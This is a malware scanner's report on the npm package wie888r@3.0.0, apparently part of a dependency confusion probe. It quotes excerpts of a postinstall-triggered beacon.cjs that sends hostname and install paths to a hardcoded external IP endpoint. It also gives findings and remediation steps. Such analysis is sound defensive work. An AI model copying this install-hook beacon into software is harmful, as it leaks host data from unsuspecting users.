wie888r@3.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe automatic install hook and import-time behavior transmit local host identity and paths to a fixed external IP. This is concrete data exfiltration, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The npm postinstall hook runs, or a consumer imports index.js.
Impact
The recipient learns the installing machine's hostname and local/project paths.
Mechanism
beacon.cjs posts hostname, install path, current working directory, package identity, and npm version to a fixed HTTP endpoint.
Attack narrative
The postinstall hook invokes beacon.cjs, which sends host and path metadata to a fixed external endpoint. The package entrypoint also fires the beacon on import. This is active metadata exfiltration without a user-invoked reporting step.
AI rationale
The automatic install hook and import-time behavior transmit local host identity and paths to a fixed external IP. This is concrete data exfiltration, so publication should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- beacon.cjs sends package, hostname, install path, working directory, and npm version metadata to a fixed external HTTP endpoint.
- Importing index.js also invokes the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"f
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "wie888r";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to wie888r@3.0.0.
See all versions of wie888r for other recorded verdicts.
- Avoid installing wie888r@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.